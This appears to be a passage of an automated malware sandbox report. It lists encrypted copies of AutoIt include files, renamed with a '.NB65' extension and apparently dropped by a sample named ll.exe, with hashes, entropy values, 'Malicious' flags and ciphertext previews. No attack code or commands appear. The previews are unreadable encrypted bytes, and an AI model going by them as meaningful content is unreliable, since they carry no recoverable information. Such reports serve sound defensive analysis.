Preview:.z.nt.............+h..|7...j..2\...y.l..<`..PU.R.A.G...4...V.:.A.z1.Oi2.q.9b..D.q;......m..@.W....p*aq8G.kS..d....../.D.....0]..F.......(.$.c..uI.......i..r........[....8m..=1.....6...R-....k|L.O............./.g.i..y1K"N ..(...P.30q[4..."MB..@y).3.4B.F.\"Fy.{....Z..r...!Z........W ..tCb..K.).Vrk....=.vN.K0...T...N..[_\l.g.... ..l..PWn]..`4.q..".q..*...o>/..^.......).Q...t....". ..61^.TQ D.E..'..._.?........<..Y..L}m..w.c.rt..4........&...(u.o.B........OC.8..C....YeO..sg.....w..."P.H.U.J.....I..G.b6...+.1K..;.x.*../..Z.)?..}....9.....'_>....l..`.&...........v.Vm....]........~ke...-......!i.eu.n.vI.N...Y...^4..a.....sxX>.p"6......gK..%.w.....Es.w...l.-..Xb.<...:.-"U...qF#*.S...I...2Sj...h....j..W...i.s.H.>../.m-.+q.P%.1~.M..mN..a.....9.u...f.&...,......#.wi.;/{).W....y...2.Xl......d@..to...m...|)]..p.D.<...-....yoX....<.C.MjK.E.q......7....A=...}.....W....W...........e..c..(..........<...)..%........%....b*..#.;..?H...{.~u..x....>..z.Uf]..M

C:\Program Files (x86)\autoit3\Include\StatusBarConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3750
Entropy (8bit):7.952900416307762
Encrypted:false
SSDEEP:
MD5:B7CA31E14E4CCADB6275F9195B23DD72
SHA1:1877074D15DD14BB1443E6A1E36EFCF737C4F315
SHA-256:FFEA3CF0FB53E50050737857E80A63960C7E462E849DA252F877C4EC84901C0D
SHA-512:B1DEC09DA483F592C87FA42BA027668A6EF1169AAAD89ED7657F1D2CB006E92C843F5F48975F2E1316337A228BC05D6FDD4A5D473FC1003ACA13725273B88B13
Malicious:false
Preview:..........Q.^...1.R...+.1)...].H..*..T7......j.?Cmoz....;.U....i.KO.p_.&./...i.......(.k.v.!~RM.......JE.fi.(Q.f0..JJ..O..H..4....m'......{..'.KPS...o....X....S.).Xjk;...~.K.%g\.....X...4m....gn..i..-n.N`....d.......".j....#..}.rP...e.9: B.a#.Y..=]...v[..c..b6.....%-.hG#oo.uu.d_..A.......z...z.&.P..e..5.&.E.'l.&_/4...F....<.....4./......E..4...{.L...[.'k.....8.y.........g....2.Y.1;(.Q...q../..W.0J~X...Cp...'.....qe..h..F....~.H..M...+.A..z4.C8..*.I......#.Y5....m .+.H{.G"0.....Y..D]...5...-..m,s..C.. ...}..i.=@,...B.e(.1u.Q=..q.F.:.Ptj.....O..`I...-.."rZw.x....Y.1..U....%N..{...u\..A....!U.%...@..1_....S9.7O.x...p....^Ph;.E...2.2....RJ..%.~....I......wx....N.40..2.........a...[..p..fE_...:....f..@...?.2.0V....;....}.....1.Y..#.P......:....S.......;,na..b..QWq..k..)..B?.Y.P........5>.N..ba..&.R*...7.'.F......k.Nb.<....A,.......2I...>.....6.mr....<|."q........|.hm.LC..ig:...?~..JH....PDtDL\...mh`W....o.2kE..o..M.......p.o.N...Mw.'.|i...mf

C:\Program Files (x86)\autoit3\Include\String.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8844
Entropy (8bit):7.981533496771494
Encrypted:false
SSDEEP:
MD5:79E3C98B3B9D85E4A54FFAE84866BE87
SHA1:36B63B7579D5C39E5CB9202A3A63CD3A40114662
SHA-256:9F8C38BB9E87F409C4E1FADDB310528E8F676FCC6B840926E86E60D4BABF53BD
SHA-512:DC1E2BAAEC956DFE3DD02D6E2CE93B5DA1347E7A5E91016F6D64DCA606CAB0714A3E3B7DC3441FD0DEF219A9280F8294467B8EEA378F95E57FAC9458F425070A
Malicious:false
Preview:...q.Y1p......d....'......*...s.qW3.,..0~.8...a...;..2.e.g1.> t.",$....Ea>~...z....nX.....=......k..1.s{..s7T..6.xh....1l.l...K..Hbx......cJd.wNpPL3 P.R...&.a..p..c..x5..=..r.\.n....xq.Ad...R-.^G..{.......E.AF......Ey.[.....x.......*...%.{q!.|..Gk...-h|w4..B...VQ:..+...^.;u...N.........cf...xD3D.)..>%.j<...7..i..[.....j....?...Gu.{9&.....x..'...q../.J.>.F.0...K....0.....[.Q..~1C...&...%.s..<R.&.b......N.(....D....."..j.hu..%=k.*T^.8.\-....h.di....<.r.J..N.....k...79..7.L..Y:=k..E...gI...R...F;7+..........%a|..t...`.......).0..P.......1.*."..U..`<r.............1J<.Xw.{g.d.n..g&.D.oh........`.?.....n.......-.2..Br.KK!.&..t..@..rr.h...po-.... ..e.[....$..]u..#Q...j;.7..9.h.EKl.S...(+.H....K.....6......*.k.I.u..<.SR..1./Hzv".5.O..x...Oa.*1b..+.Q.#.dq..@..V.M.zN.&.sI...&f/...h.f.S]..!....x.......W'....z...m]...d...{.+C,......nE.M..i.E.*...!.^.o.jo..^.&...K.....t..}....5[)]..\.r`.& e.2&j....u(.*....A..>vu.0...3 :.fJ<....4...(..4,.

C:\Program Files (x86)\autoit3\Include\StringConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3388
Entropy (8bit):7.9424632262802755
Encrypted:false
SSDEEP:
MD5:ADA6A11C2172FCDA806AC796237AB454
SHA1:C53ADA459BE1BA3670171E5C48C776C3D2BE997F
SHA-256:6D3AB7E38FE06053D1ED5FC4F34EA7EFE0F4622F9E1D573A1EDACE6913C7E671
SHA-512:2658B097F25DBB421AA8B9D1847182641FBA358BD9FBE00DB7ACF833A66404675AC55CA27528F0C8F72D8B00EECEF633A42C39BDDD0EA564053A12BCE6BEA2FB
Malicious:false
Preview:.L.....u.OOE.)...b..c[...@.}z...:...z..{.b..r.,zR...5W.<A......%.N..i&..^sB..XJ.p..7-...'..~...J..*..i... .... .}Ar.....g..u.....b..K...O...........i.6..n.d...p.<..(....../`.X$.............C..W...q.{.....?.w.....N...h`.>.`.J.E..iu.[...@....o.)..\.k4.Z...;.Xla..q;....9...E+..qZm.*... .L?5kG .9.u....B.UR...?...Q.}...`Nc..)/..}.AX..&.p...FN..:e.>S.7...x&......Y....h.D..4.=3...\EF:...<.5.!.U...x"..".....F.7.f....>x&.P.........&.}lV.Cc..k.@......e......q.g.UI.u..w.p..)<....J.x...*.}.@x.}4.v.....1K...M...Hu...tE..T..c"Tb...?6:,Ec.:3.i..b...h=S.gp.W.....h..X6.9.6.|....a.x.Vofb.x....9...........3E.._L.[C..K9v..]..B..J.}..ob\<g4o..J!.*..Ej.)..k..em=.o.X...F......K.`,.$..1.FA$j..Ku...bX..+g.8.fD&%iV...a.]\U:cdn.......J.....B.R2.G..Z../..9.'..y.m......Z;skc//3.Z.`.....3..5N..#.{..ug.s.).".t.@.....;..O.}.q..mM.8mT.K.}...6..N&.....NT..y../i..R.h\yW......5...@.cwN.v.]........y9H.....{.,wu.........c.H..Y.n.].O...h..T..g.KC..2g.j..ja

C:\Program Files (x86)\autoit3\Include\StructureConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):64819
Entropy (8bit):7.997327793052597
Encrypted:true
SSDEEP:
MD5:69CB75613FE0491F510DFA66DF2979EE
SHA1:5CED80B40C7D45ACA92CE66055D75832CA478A3E
SHA-256:6EE06F4F6D78784121BFF88B70B60CF1063637110FB85C55F0C5929703863830
SHA-512:AFB2390EDF37E7D2005B1DE0CC29C5B0F4B7C7915C5B2CD177E71CD899537E3822209C7B7902D4667D68892F7EDC44249418E41C6F4AF1D5619B53EEF172BD36
Malicious:true
Preview:%...L..4..X../..`....G......,..M.'3.:yXS..>........G.*mce.....c~Cj..a..@.1.k.p.....3.\/...T.._....D..>...T.....|.Am)..u.A..,..!.X..5...B.b'..+..y.....7...T..?......c..r.E.8...I.`...n..._..C..Dg5...L.Q.;K.......n...S^"YIK.8.V....jd.IV...1.6m.O}-.5.E...."z.wN.I.sL..8.,.Q..=..DE..Zp.J.P....L.W9..iI..X9.G?.a....+.....%X...\..|....7...D.J..>.<S_..t.;.29..|..]b<...X./qZE$'wZ....!.r....K"..M.I.Fl.aM.....qO8......(..vd.8....0.\...f.....v`....p.WJ..6 `^_.b+/t...p......=./.$OP.4p.wQ.........d.%....<s..7W.,...y..am...~....}.I.XT.....[ ..b.z.J.A..].G.2..ws...]t@/;Amb..X.u..H.h&..../.)..c'.m.C.N.V.B..f..Q.......|....p.LF.........CK......h@...H..c....S.....8...a..8.......,.e....DYO...f..'..*.7~.@2..B....-.t.....Y.....g.b..y.F.(.4..Y.".S...T........M:.s..8.V........i....^rp.. .g..............1.DL..2.mj...s.5y...Qw.@.............4oq..h..t).R.LK...L.:..1R._..I...'y0.G.7.b.arh.c2.4..&..(S.c$RhOpr....4..y./y......*......?Y....?.JTa....6P....(...IA>...9R..w/.Jv.

C:\Program Files (x86)\autoit3\Include\TabConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6727
Entropy (8bit):7.9749631396464915
Encrypted:false
SSDEEP:
MD5:5CEC4080289E06691BFCE5357F4959D0
SHA1:03053C0CCE9C17B2480AD3B11056C10E79968B59
SHA-256:C4382549320A9B028E23C07E0D370908182EC4A5BDFFF7B33162A0F28187F440
SHA-512:52F4353D36098C51D2244584EFF9BBA78F23A72D220D71E613D6A74E0A5028F4D0E390908660748610C2C71BBE567FEEF87C43774AF38383AB796D19FA162123
Malicious:false
Preview:......:.:......P_`...9..C....?..g.....Io..g!.........m..e..........>.H..{}.O$?.kU..NZ.J....c|...6....<.........%....8.A.B..}]..N~[g@;..'.....J.J.A....{".^.k..|d.tkOK.4.b...O;Yn._r.#]....S..w..6..+_.^.......U-......s...o...SqH.[...#{...wh.p.8.W.\.W*0~.K...tY.d..'.h@..x.. ..%..h;hZ...O...r.. ..>..e.......m..V...K(.A.Y&h.=..x[..[...5...0.(.r.......#.v9..n.6.'.Z...V}...N&....R.j....9..P...S/5..yh.k.m...w..[..D6..'.......4;.a..l}q....H.....j.K..@.b........oa{f....6ha.#d...f".qWy};.P7..TIB..v}$..q... .0n...r...+....../l....\*Z.IR........1.5.....t..%.0..}......u...O,VV.Bs.......2.s.q..@N7"D..9..1....L...`.B1..$3.l%CQ.......f..".4...`=..r+K`....e..3.g..K'.^.O[{m..w...0e.....$....D.uM.q.l..~.....:.<%.....'#.Q..#..P!...."t...K..>xw.=..p.d...Peh.BH...-q~.KL.L.z.OP.H..8R..`....Y&~..q...n.z.L...C.q..m.....E..z{E...M*..... ....vt.e.\.[..$6...M.Qfg4..JA.gw.j..VT.........|.....I.....5..{.0:..._Q\z.._pK%F..9...o.:...I.0.4X..N/....,e*.=SZ.8>...=...@.}`<.j.,...c.

C:\Program Files (x86)\autoit3\Include\Timers.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12386
Entropy (8bit):7.98532067382915
Encrypted:false
SSDEEP:
MD5:CF1FB67474EE2C09E53483A8EC51B092
SHA1:52550F146C35336BF7087A6089D813CC08B80EBE
SHA-256:2512EF7106AF6D8882C111EBE91302E22906F32B1DE0C4A068A1B8611538470D
SHA-512:5D2D90A39E6B6D72BEF5BCD4E9E1947BC950148F4F01B9D7CD15033B4B127EB322B1C1612FA5D279E19277DDBCDEFC9B23A4447D4BC2C0E902F4730983F4F781
Malicious:false
Preview:.^.O....~%0.J.vYu.~...F..W!.l.1..w^..j.cl..;.......+m.k.......\....K.....OL.....3.(......_.O.Y....y........n..r..SG...7.mq...,>p{.K..#...|..U..X..OP....I.h.Z.........F;..$.f.3a+..otM...uJ...aj>#v./4.....hB.......m9.<...B..~.]u......%O........f0...t....U<..5.p.D<_....].X.}o+m8....V/.:...!......d.dBT....7).....e[#..."...PRV5..~[_.r'..wa.K..9YL_..?..}........P.'?f<.."....I...OL....K?0J.%.B.t.2..T.T...jUN.{.Y.....~3.&C.?:=3.....,...1 qcM.B.;......g`.I.....!...X...c:|&H\2....Yo/A.....N..[..-GK..=&....Q.....]......E...ucbQ.l..\.S.!0..a5......%.{..Z....0.j.....j......PV.UU......;!n$5[O..... ..cc.p_.>..-N.Tu<....I.....%.kR.P.~|..........1E.O....]Df.....R#.P..9 y...7.....d...'....C)gn....K.......|? W....2.z..h..ka.v@.X*U._..`?..]....L.VO.(.k6}.`..,k..m.&/....:R..'.j..{...$^...<tU.\e.V.D...$.`wk.D`3,..g@....~X.d...t`0..>...P..th.>3.....=..^j3:..C'.a...z7....5....-wR.l.:.3.p....1.V.7..'H.vz.!S.=..c....OI.D.....Z...+.7.he.]...).7....

C:\Program Files (x86)\autoit3\Include\ToolTipConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6060
Entropy (8bit):7.971801496408948
Encrypted:false
SSDEEP:
MD5:C91BD8522ACD2FFF073D2A5AD35462A9
SHA1:216A066137AC7D99E026E68784B57B2E178D9718
SHA-256:0381AFA660B93ADA80FCACB4BF37E0B950A43C6CCCEBD2E4000FDEB838050102
SHA-512:5D527C0F5D74701779DC5415007EC75E3BE0F6F41BC77C447C9C0D4D491EDC776C099FD29B4C2014884E911E7ED451719A49DBFC5E6E6B9866DF8E30505D5C1E
Malicious:false
Preview:.s..'....O"....L..CMK.[.f.cuI8.....H.......e....L.{9..|-....9..(\?.'......e.z.lum..W.....*[.8...9...y.....w....gG.(e.T.4.wC.]yo7....0R_."(r...}...l'.v.....v......APm.53.AZ.....n .?.*I..o..Vg<.......D....y...j......0.......e.gK..u.9?.._Z.F-......6....,y./..C.L.m......v..%.3f]....z1=.=txro.@.#a..BV..... BzRzV...'.<OW..^..-.~>.T.M.}.0.g<.^.L....J;fn%T./8........&:...B.<u].v....|.hJ.<Kc^/..=/|.7Q......0.BD...%x...Y.P.y....c.S..L....%Y.G.n45...../::.x..6...B_.vl.X..u^&."......u~b=.A..fj....c;eE..#U.G....'.o...=..6!.0.....+.e._....{Y..".&....}.X.if.D..V,p.Ss.........Y.x..g.@.T/...D.2.|1..~.`.s...Q.m...^..o....+...........'I.j...>&Q...mp..p>.f.Q.#j_..N.........A8..?.\...G......3Y.@...)5.OX_..:.+.O...{..7.t...'...\P..!.h.....Q...t..)....i..l.R...H.. ...~..A....A...%.r..cW...+Z..eLE_b>.P.R.....o..]@.......o..=..`U..5@...:.Sx..0..PB...]......u.......9.....4_.Kt...zg.J-`2..b.(...*...........Y.!....,...]O.....z.5+..#..9o..#.S}..q.gJ{...g.p@...".;

C:\Program Files (x86)\autoit3\Include\ToolbarConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14267
Entropy (8bit):7.986377578697067
Encrypted:false
SSDEEP:
MD5:3402706301334D96627331A082EA6074
SHA1:7A3367AC386163A022C3E97F5ED5C492ABD6763F
SHA-256:0D674B3C0D5A5F60D657A4D05281013282A53B0DB9E5F052E5CEB76B67C01B81
SHA-512:5754E6600C04AB6FB7C4A2087A3E3FA8D2CD02D2BA31E3B57C82481132ECB30D2E2CF7D9FA65B591BD7B817FC0EB90CDF119DDA2EE64980E4124FE2A925FE97B
Malicious:false
Preview:....5k:.\.e2..z.c...j....ap...V.J).T...............T\X..d[.*.W...).m2.........f.....C.=.BD..!G...........qp.\....@....;..9..!qw..M...w....-..../.p...8.p......b..8.NTP..p^..I~E...u...FF.@.^.5A..qru1..T...M\.(.i..k=#..^..R.:C.ZI. w..>.fH.D..&...{m.@b6.|@Aw....A........[....Hf9W2Z..o...3._.(R(B.YYNl..E...r.<........<...p......`I)v...Z....... ........a.v;.Xa:Es...r0.:.hf.2X{|pVD.....#...<..R......*EX....I..m...~i...N.:....\*...I..5..%h:.Y....WcCO^..K.u..$. )...:1.k4..i....r.......+.\.....w`..P..#23s...........n..UU`....(.p...:.p...B..\..u....p.s..S=..q..E..;.(%2. .X$({~.U(J.l.........E.b.*...a...]!.....Y..2.;.S.0^J6..........U.[U.j1..%..?;.0....4...A.^..,.5j...L..b.'..e.C....... 5....-.......V+....BPO.u.R......x.@../.....6....?u.v..lhM....^6e.1V.S.Dz .4..l...X..R..p-..2t{..X.2<"....C....\c{1A.......S...<&..,.C../.3.n.."..S.F.&..-.Qg...q.>xu...q..h.p.....I!......C.~...N.N.L=.j..M/.<.V..N.....r{w3..3.....q|... ................ ..B.tnq....

C:\Program Files (x86)\autoit3\Include\TrayConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3196
Entropy (8bit):7.9358927435760656
Encrypted:false
SSDEEP:
MD5:9D031FD7C11CD4DCF282ABBB177EB538
SHA1:2740EE9DD11A0449AA7CE06A5CF9E65A44EE68EB
SHA-256:B72C5D78B96B7DEB10487453EF55DC61EDA2DABBD11DBCC687634A21C80E0E45
SHA-512:72B6E33683AA52496CB04E91C3CAA124F1184FB81F9914C43F639C826865F28F8B155207310023CEBF9EFD37C389C2729B9B0A54689583EF04731393DD49635F
Malicious:false
Preview:/D.idvYR...-....Z.?vB...>e..^..p..5.k..f.....:...2Ia>.w.G......!x.3s"...0.y.v...O...\...&..(.+.k...(.EhX 8.e....Z.a`h...+..?~..P...s...b.D........H..bf:.+3,.a...,p...y^.v5....R=...u.@....XHH...LX.[..t*.'...a7.9.._(.l.[t.'......0...E..[..........*=.Rmx_...)...U.X.r....m.....U....<.N..[..i.g.%....M...o.-C......(u}B..1.....dv@.Y3.....*F...{.K...J.{M.._..z'.w.z......j...A..]..*y.?..4.L."..z...Z.!.y3t..J.L.w&.2..F.....!..X....^...L..4e..%l.."^/.....2..4..w:b.z.71..1..L..k. ....>.k....k.7..CA......{..yg%.X....n...Y.Y.(........K.Ldn.J.w...F...[........r..n.&...D.{o..{....... ...P.E.....<p.q%..:.....Ryp.X=X......]..S...UR..?...3"U..p..`.}..p...G.........E.8r.+.....gqI.h.Hh....#Yn^_j.-8..$.0\......dy...|.{.D..#. ..R..D?;.....?.vT[^W.4Pk..S|..+.....Bv}.s..!............+...~.I....4.+U.!.'.=g.......(..5.....3./r%.F.m.O..8...x.O........=.v...z...I....@...w.p..W.E.;Z... ....1.-...X...n.a.7..!.m.aq.2*o".....s_.y.|.P:...Q.JT.J.C.Ve..~..U 9.B.

C:\Program Files (x86)\autoit3\Include\TreeViewConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9935
Entropy (8bit):7.9783145281979095
Encrypted:false
SSDEEP:
MD5:91AF67799E02098EE502FCA19DBDD567
SHA1:27ECE6A7459047C7C424E1A53C6DAC30E5612890
SHA-256:70FC24901AB5989F9508AAD760B404BA661C4721F74EFF1FF2D77E8710F7E109
SHA-512:3DFDDCE4ED5A62950562B099A00EED609DE1ABD9102B86C8301AFE358C938A2E18F504FF84BD131E4A83A0CAACF39E942CD4FBB987B904CBF0C9C2351393DAA7
Malicious:false
Preview:..r.d$...t~>C..1.;.c.....^...UD...F`.../.~...X0?.GJ..@.>.Nb..&.5+g.&.v..Q....Z....Wc.BG&.K$.....N7.dP..-......K.N.1...4..^../..7.Ku.\<-.......W...w.....J........$....;.(.Rq........P.gBC.n.2.P.R9../....D_.DFw..\k......T...^.h....a..z.E.........=...Q^...)w....Z4.0e..m....4..].k..8.f......c..K5..t.M.d..}..."....T..8`.......n@=.Q....GZ.P.`o..8k.%.X.X.......k.Q....~..P..WB.....K"#}..+.D.9.,....M...{..!.N...xR.fF.U..H.v.n+^O....fL...uh....]^-...`......E.z&...r9Z.qe...N(..7...7.......m>.....r.?...S..e$&d7.L.[0.l......N.L..L-.~..A....Rm....^.5U*j...L....tV.h.R...<g^.u.J.?..j.nYKK.n.....n\.1.2*.d.!..-.`x......KV.1..3yK..Vo.M..V..u(@.l%c..Y(..W..h.Bqv.........U.....'....X..... '.w...3&...Vo.2....$..O.R.'.-....e.s..X.IQm.|.......<r.2%..|a....$lOdW.....p.H.>.A.Kj.S...lo.,...:]......X....sb.....~..m=..Y)..-.Jt..qw3:JN..C.....L..../..7Tx...6.O.7..I.Sh.{...K..z.%...n.=......BF?..0W.q.2.........)e...1b|..h..!S...0..Fh..a..L..qo..[..X.G.1h.y........

C:\Program Files (x86)\autoit3\Include\UDFGlobalID.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7223
Entropy (8bit):7.9751698187428115
Encrypted:false
SSDEEP:
MD5:500D8D4B0DBAE639AD5AEFBD0AFE3825
SHA1:D62860D1B893532FAE2E1573470042497E5C3E06
SHA-256:5DD92A4A5F739E1A05D22473563880766AE02A3F6360961121BEF5B60BB44EED
SHA-512:EE532CE815B1A0A51A9C77133A296794778A724E2C37A98671E7742DCE0C6D192409745578C96FC3D5EFBD6D2A2C582E178B6FEE1550EE62411450049CB7B404
Malicious:false
Preview:.U....U.?.....%.(.[f...l....S.hus*.....X.WT..b...2v,8i^.g...W!{.9.;...1...7.........)~~E.'..yj..K=.c......L..C>?.R.n~J....^.H..[....r...V.|.......gh..dI.......P..S.........;...J..S>I...X...\o.."j.3..z.~...E.$.\.2.....>..I+`@,.I...>....l....F.-_l....:..C....^.g}.a..7.D..1..8.>.m.mi....vn.z..<....1.....;.ok;4@...........>...&1(.d.x.....5C....n=..~.s....".-?..Bs3-]y....E:....S.8.T..S...(.B!.d......<..R7o..4.....%.r..)v...3...X.5.K.LC.w;.bf..m.Y,.).. .Z.3.(......0T.G `R:..G.9...<XTTv ..l...E..JD..f"..r...j..U.3...$.J......~...jK.........#..`...."xc..<.M.F...!..".."...a.. .......w.hb...vx......F;.1..A+....r.D...E!bR?2....O...N.e.K.....p..hq..h..(._o..:h..,.M|.9..\D.j..a...FTb..m......../"..Ck:....y.<...$.C...C..G.Mi[.U1...hJ..m...F.h..u.,.....ea...`.D.NW.L...q. .D1w.:=?.:.&b..B.`.2Q?5.>A.#.R..-:.2.b...+....V...i..U.&S........._......@/Y..>...o./...(...0.>~.....h...f&!~.6.j... ..y}.q....9...G..c..Z$.=..FB3.+.u+>...*..6..."...;M.K.z...L.

C:\Program Files (x86)\autoit3\Include\UIAWrappers.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):110575
Entropy (8bit):7.997989373273875
Encrypted:true
SSDEEP:
MD5:4E84DAF52E2BC6B026155DFD7673E982
SHA1:9A661514233225E9A0EA0236FB2BAC248DF399DC
SHA-256:DBF70F4051CD7524EE16F1C7C307A5B8F2C5C60FA101618A24CFF1264C34FD64
SHA-512:5DE16827F8BDF770F0C3AAECA195D139593B16F5B4807E46606519808274F6CF1FDBD6C901BC42BCAA3CF452B26A98A055B463B49405177B77541980CF8207D9
Malicious:true
Preview:...:j..W...q....... r.[.=.2I.7+...U.0..ep.|..rh....."........Y\.V...5.....D...g.3....O......"(f@.~.O......5~..RJ..4oR..D..).M....K.&..Fn}a..C.Md...9n...(...^...z.....'.s..&.Dh..r\..-........oO...jMo.hW...{...%[8~......3Y...EI.....I...`M.....eB."..p.s&..C...D,op.Oq.J.'..."6...8....Q..0s7..@.'....a....RX..2<w.t....s..es...'C.g....Q*18....-.NK>4.*.`SO.......m2iST..m5(...@..mX...T5.z3.M....7.F.....F..[.sh...R..Jdq#..</...jF.....[(...cWr).v..F... ...S"F...H^.4.9.s^j.F.f..."F.)w....}..0)(..5j...m..;..l......I..%h.....Cw.&/n'.....{..~...i..S.....y,.xjfJC...B..X.....lKUH.bUR..S.@Z......G....PDD..{..WQ.s..T....O;.1....y./c.mgp....L.d.4..J......>..n........;......J.fB......2....+..6L...."w..r.x.q.........G....8.....3....O...=......:...|.6...A....i..cr.. ..+...$MD.l.b'.N<A.._......6".a...,...Pj..m......QV.i+.=..A9.:..6.|.l.R...BV'.x.C:.-.&...F....35.K..p.....L...P......._..&N_<1..m..{.....|q..\G......M.b>....^lP.....|{..._..-'..0.._.0x.vG".b..!....

C:\Program Files (x86)\autoit3\Include\UpDownConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1685
Entropy (8bit):7.883592847935516
Encrypted:false
SSDEEP:
MD5:F1BD4DAEF51A6E23F02B09E0B7A92247
SHA1:0C1E5751A5A38A53C2C15884DBB23EED014D8DDB
SHA-256:DC357183EFF8758CCAAE964D7E72B2BB8AF38CC31CFEF5609F500F2489DBB1CC
SHA-512:183D8D04BD7884F5D2980871BB61D1CDB9E842854BDC300005EE791A9D84173CD7783634B3B64DA6657807C3C3D3468E9AC3C21A6235EA9D59BE4F899F3C66D3
Malicious:false
Preview:Z.&.o..q.o.u.>JT....A..J.Ti.M.....$w..2{T.`.N.;.|.2..t......].zy_....b.P..OU.R..T...y.!y....R...W..,+..%R..J.2..."...WCo.}.......9O......b.`92..1.?..[.d..!..at(.....&....i.S..........*R..!+..VlJ..J=$.m%.mo..@.x/1`.G..........>.o..N....i...!..'....K..~........c.-.a"..;.0.M..<...`...+r....".;c.......?.S!...y..o)O..G%5P..{.&L...$k|....b.!.....,.........i~....0.A* ...6.T.Uxq...qb.....~6...K5.k....q....k......X...n.t6n..K.Z.b"......'..7..ymV.AU@J...B.s.q..~s..W.....;bz.+..<.\?.0`........V....3<...~sI.e...,..6U.b.D..D].A.8.}..u.2.3....g..$.x'.k....u..?......N..DS.t....X=.s.}..[...A..K...{...C#.I..D...|m.WI..........}.K...h*......)......;.2o.B.j.e..f.q..Vy&...5...4x......<4..l.F..f..F...;.....7Q..`#7.A....7..srg8.;.4_..}.\.5......0..:.z.2/.kt.....#..g;F.7..4*.+/C.:.........PD ..`nk.H.g.......wh........s..x..e..<.>p.E...S.$...@...0TlJ...z.H..n..V>.... t.w..F.F...}..7.....:..|j*..ts.=..{.Lj.]o...Y.,6.m[.9....:).+Ob.L.Xau....ap...f.g..D"

C:\Program Files (x86)\autoit3\Include\Visa.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):40507
Entropy (8bit):7.9953970296784265
Encrypted:true
SSDEEP:
MD5:C7BA41596E8BF4954952A691F9EDA92B
SHA1:2C1773FAE3485503773825717F6958AE98E6E5C7
SHA-256:E9AE2D4DE1781D685B95B64C8CFC349E42F7CFFC5C87BD19328267ED9EBF8516
SHA-512:14B0BA89E91A00F8D1E7CB31BD0376010C79EBAB9B58EE933250DAC1938D428DC96DDE5FD27CA71A837A9B44D7E5B534552149EEB3886F5F182BA6A83AE48A50
Malicious:true
Preview:....F.s..&b...../l.....l..?...U...p...c@~;+..crj9z.|JG..S...q}..?...#..1.P.. .#5.7.....'R}...._..j.J..S.....:..@.R.tY>.=........h..w.....A..O'...{..M.....j..~M.>Bn.r.7.L.Rz.q..\.d.],.C..9..Ha.......:..U....s.^..n4.....g.a.P.?.ii.....M.L......eb.. G...@".WP.....y3.'.....".om.:......o.>b....t.:....{.l|...~..J_..4.FL....^1.....tl$}.j.{..+.......r?.^N.a*..n0l.<...p....."..xh..C._L.X.gi.7..WKE.iS.lD.^:.)...(.V..}.1...y~.H...Fg...!_K.wh...1<.=\}....c.6dk9........B[6..S..%Q..k!.\...O__.m...g.P...l..+....>wY....+...%^.E.P|_L.g..|..9..u..#..LB{mzH..A...J..V;`...ID..C.vt..3..__sR...n..bb.g\H..f.......A.g.....|..3.I..3I.K....>...7...,.E.'>23.^..j...E.Y.Ik0#.9+...v...$s...3.^.X.L...vRa....k...I.%..r\mk.....%..#..e..6....bI.....7...|+.^.+.....F.\j.......u.X...W.....2S...{.~[p|@...A.....Bd..*cy.......aL.b......3U.gw...+..`$j.+.8..M...P.t..q...3.w.d..U.....n..xr..F..i..Y.X.1.Q.K5./.i*..Va.@X.._j0...ju.........}j..s......,.~%az..Hn...g4O.G.4.GDt...10P..

C:\Program Files (x86)\autoit3\Include\WinAPI.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2054
Entropy (8bit):7.900538723870162
Encrypted:false
SSDEEP:
MD5:6546E5F94FAAFE2964E98B44D6EC2A23
SHA1:0A0A16C92901164A7B9610116FC4A533C16965F9
SHA-256:20AAFCFC8FC8BEABA96263379CED6C71AEB430517327B263F8D5032132CAC7C9
SHA-512:14B093A78F8684F312E8EFEBD5BB96193872FAA6719A62BE8FF5FB806CE1560AACC6FBB852C6C0514D69D02392732422865FF7E3F5463F93201810138BE2B1FE
Malicious:false
Preview:..6..d....:...4.a.9...V=.... ....3H.N2..a...........g..x..@-.K.N........M.Z[.".U..q5.o...y'A...`.\.>o.HG&p..z;.l5..Q......G`.....Nw9..l.._.=. V|.-.M.{9.MT.Gig....a....+....T....E.....R.+0..t...?|~..QI~._.......1.........8..ou..W.q.'{2..p....%.Oy....bw`6.O@UO.@.......l..tC.C.F3O.9.......!S'..d..8ld..#C.N.....&..D.?.o.J....zb.D.`.!:...)..a.H.T.`.".IW.-].;..!9J..P.J.....h%.. ..y%.......f.>^..].l/ZB.:M.M.......B.a.......W...u......&=D!$.L.M.s.(*.T...T.W}yeB]..aL.c;..=.Qu..D. w.M.....C.y...` #.AJ..M8.w...tR.\2-...}.3e.B..t.....a..#.9h_..a...O..P.9>S....]..z.b....[.K...{{X<'......Cc..OT,.C.y.O...?..B.....1.....|p.V{......3.....0`r.S/D~..a.... 